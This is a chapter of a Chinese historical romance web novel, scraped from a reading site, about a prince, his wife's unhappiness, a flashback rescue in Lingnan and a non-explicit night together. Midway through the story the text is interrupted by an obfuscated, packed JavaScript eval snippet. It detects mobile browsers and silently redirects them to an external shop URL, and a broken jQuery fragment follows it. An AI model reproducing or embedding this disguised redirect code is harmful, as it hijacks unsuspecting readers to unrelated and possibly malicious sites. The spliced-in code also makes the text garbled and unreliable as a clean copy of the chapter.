文趣网 > 其他小说 > 死遁后夫君为我殉葬了 > 17. 第十七章
    郁思行到时,紫霄阁里已经很安静了,除了当值的下人还持灯做事,一点别的声音都没有。

    这让去冬很不习惯,偌大的院子,竟给人一种荒凉之感,只有王妃歇息的寝殿还灯火通明。

    可这不但没让他觉得温馨,反而让他脑子里冒出一些不好的联想,似乎下一刻身边就围绕着鬼影幢幢。

    郁思行同样察觉不对,院内气氛太压抑了,几乎人人都在噤声。

    是江唯梦不高兴罚了她们?

    一直等候在此的婢女急忙忙跪下行礼,“参见王爷,王妃还在寝殿里等着,奴婢这就前去通禀。”

    郁思行轻抬右手,“不必了,本王自己过去。”

    他步子迈得大,没几下就走到寝殿门前,守门的侍女替他推开房门,深深埋头退下。

    郁思行本以为江唯梦在床上躺着,或是撑在桌上支着下巴瞌睡,她一向这样随心随性,不会一板一眼坐在桌前等人。

    没曾想他刚踏入殿中,就见听到声响的江唯梦直直朝这边望过来,看见他,她神色明显怔住,反应了一会才站起身。

    江唯梦屈膝福身,“给王爷请安。”

    她行礼做得很规范,只鬓边斜插的那支步摇随着她的动作微微摇摆,如同一只展翅欲飞的蝴蝶。

    郁思行不知为何,心头有一刻忽然萌生出恐慌之感,那蝴蝶好像某种不祥的预兆,他欲仔细查看,蝴蝶却已蹁跹着飞远。

    他下意识道:“之前说过,天晚可以不用等,你身子弱,不要累着自己。”

    江唯梦微微摇头,“没事,午间小憩了一会,夜里清醒得很。”

    江唯梦道:“王爷用过晚膳了吗?”

    她本意只是客气,没曾想郁思行摇了摇头,“近些时日北蛮似有异动,事务繁多。”

    他都这样说了,江唯梦只能张口传人进来,“王爷未曾用膳,叫厨下速速准备些饭食送来,不要太荤腥油腻不好克化的。”

    她如今做事面面俱到,一向妥帖,郁思行想起白日里去冬说的话,清声问道:“你找本王有事?”

    江唯梦眼中微显讶色,瞧郁思行皱眉的样子,去冬似乎什么都没提?

    她缓缓点头,眼神下落在交叠的手上,“我今日去了一趟护国寺,在后山撞见了一个很奇怪的道士。”

    她简单叙述了一下当时的情形,“他言语之中似乎极为憎恨先帝,连带着对皇家也有怨憎,不知……是否同王爷在查的事情有关。”

    郁思行眼底霎时闪过一片凶戾,他没有开口。

    江唯梦也没有继续说,郁思行身上散发出的冷意已经足以说明什么,她低下头,这阵沉寂过后,门外响起侍女的声音,餐食准备好了。

    郁思行来时的确饿了,可此时此刻,他看着江唯梦低眉顺眼的样子,忽然觉得尤为刺目。

    江唯梦在发脾气。

    明明她看上去非常端庄,和往日一般无二,可郁思行就是清楚地感知到,她不高兴。

    前几日他就瞧出端倪了,江唯梦在床榻上总是落泪,他们肌肤相贴唇齿不小心凑到她面颊时,他唇瓣上都能感到一片冰凉。

    他对此感到非常不快。

    侍女们感知到屋内氛围凝重,打着颤把餐食放在桌上,她们刚退出门外,郁思行忽的站起身,他大步行至江唯梦身边,卡着她的手腕逼她看着自己。

    郁思行皱眉,“你到底在发什么脾气?”

    江唯梦满面空白,檀口微张:“我没有发脾气。”

    “那你这几日是在做什么?”郁思行眉目冷冽,“不说话也不吃东西,有赵嬷嬷管着,府中不会有人给你委屈受。”

    江唯梦张了张嘴,她想说,府中是不会有,还是不敢有,就算府中没有,那外头呢?

    可看着郁思行的脸,她又把嘴唇合起来了,因为郁思行既不知道,也不在意。

    于是江唯梦半真半假地答道:“许是最近天热,我不大适应。”

    她压住蠢蠢欲动的舌头,直视着郁思行的脸,“难道我连不舒服都不可以吗?”

    这不算什么争吵的话,可江唯梦往常都是温顺谦和的,这句话便算得上有些针锋相对了。

    郁思行同样一愣,烛火下,江唯梦的神色显得有些倔犟,令他不由自主想起在岭南时他第二次救她的场景。

    岭南多山林,林中又多猛兽,尤其是深林,里头可称步步杀机。

    他初次救江唯梦时,这个人是在深林边缘撞到的野猪,后来他去州府办事,江唯梦竟往深林里头钻,他带来的几个护卫不放心也跟了进去。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17783610|208606||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    其中一人发觉不对及时冲出来报他,郁思行才得以带着州府上的医者及时赶回来,把身中瘴气的几人救回来。

    江唯梦进得最深,中毒也最深,郁思行把她抱出来时,她手里还死死掐着一株紫色药草。

    他知道那株药草是拿给她那时日无多的养母救命的,但江唯梦苏醒后,郁思行和如今这样,忍无可忍地说了她一顿。

    她那时的表情也是这样,先沉默,然后反问他,可曾见过挚友亲朋挣扎病榻的样子。

    江唯梦难以承受郁思行这样淡漠的目光,败下阵来先一步扭开了头。

    然而这个动作似乎惊醒了郁思行,他的呼吸陡然粗重起来,看都没看桌上饭食,打横将江唯梦抱了起来。

    身体腾空的感觉令人心跳加速,江唯梦刚发出一声惊呼,后背就重重落在了交叠的凉被上。

    这凉被虽千金难买,但毕竟是夏物,单薄得很,江唯梦顾不得痛,下意识想撑着身体坐起来,令她惊慌的是郁思行的异状,她不知道为什么今夜他如此反常。

    郁思行居高临下地看着她:“母后跟皇兄都同我说过了,我不会让朝臣盯着你。”

    他这次没要江唯梦自己动手,除去上身衣物后,郁思行单手扛着江唯梦的腰,把她塞进了床榻中。

    江唯梦从炙热的喘息里挣扎出来,她不爱流泪,但此时眼眶里的湿意不受控制。

    干燥的唇瓣贴着颈侧蹭上来,很快在脸颊上沾湿,郁思行停住动作,清润的嗓音因为情/欲变得喑哑。

    他头一次抬起手,指腹旁的老茧粗粝地擦过泪痕,“别哭。”

    江唯梦很明白地认清一件事,郁思行想要给她孩子,给她旁人口中安身立命的“倚仗”。

    这本也是她所求的东西,护国寺跪着的那小半个钟头里,她真切耐心地发了愿。

    可此时被汹涌的情潮裹挟着,江唯梦却感知到一股不知从何而来的慌张,这慌张愈演愈烈,最终在她喉口自行盘旋成一句完整的话。

    潮热的汗让她抬起了手,江唯梦陌生地攀住郁思行的双肩,很轻声地问出了口:“王爷……会喜欢我们的孩子吗?”

    江唯梦等了许久,兴许是郁思行大汗淋漓间没有听见,直至她疲倦的意识陷入黑暗,她都没有听见回答。